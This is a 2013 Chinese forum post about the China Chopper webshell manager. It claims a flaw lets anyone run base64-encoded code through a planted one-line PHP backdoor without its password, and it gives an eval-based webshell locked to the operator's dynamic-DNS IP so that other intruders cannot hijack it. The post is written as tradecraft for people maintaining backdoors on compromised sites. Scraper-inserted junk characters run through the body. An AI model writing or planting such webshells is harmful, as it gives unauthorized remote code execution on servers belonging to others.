找回密码
 立即注册
查看: 3002|回复: 0
打印 上一主题 下一主题

中国菜刀 maicaidao 网站管理软件 0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:45:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
2 s- W4 C/ \2 H, L! C# l+ g$ [  N- H$ _
就算你设置了密码,使用了eval($_REQUEST['moyo']);
8 }( X  p1 h$ _" u0 Q8 w. Y8 P; v3 s& H- |$ ?3 \" H
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
1 d: S5 N  d4 L! K) x1 Z
7 ]! ^2 ~  N3 k因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
2 v' g% F* D9 U1 X& H8 v: R) M& [! j- e9 e) O
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
3 T* Q! @' r/ ]7 ?8 X. n/ m
; n: Z8 n; [; h不知道是设计缺陷还是故意留的后门
, {8 d+ t" m  o/ `9 H
. _& e3 I# b) j9 B. i* O/ O. p如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用7 s/ y9 z& ~( u9 O% ^" w3 w

. d1 o( ]- j$ S( p( v本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org! \& K  n- ?% V: S* H+ z
0 J8 p0 C( z& J( A$ S) N
然后一句话后门这样写, U: e5 I( q7 J% ~- t% M' g) w; S

3 _" h: H; {$ U  B+ U; T<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>! _' Y3 g& N1 d& O/ R; o9 j
这样就可以让一句话后门只允许自己的电脑连接了
7 P# H1 q0 F" x8 A) P, X5 z( W! L9 f: Q: \$ y  X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表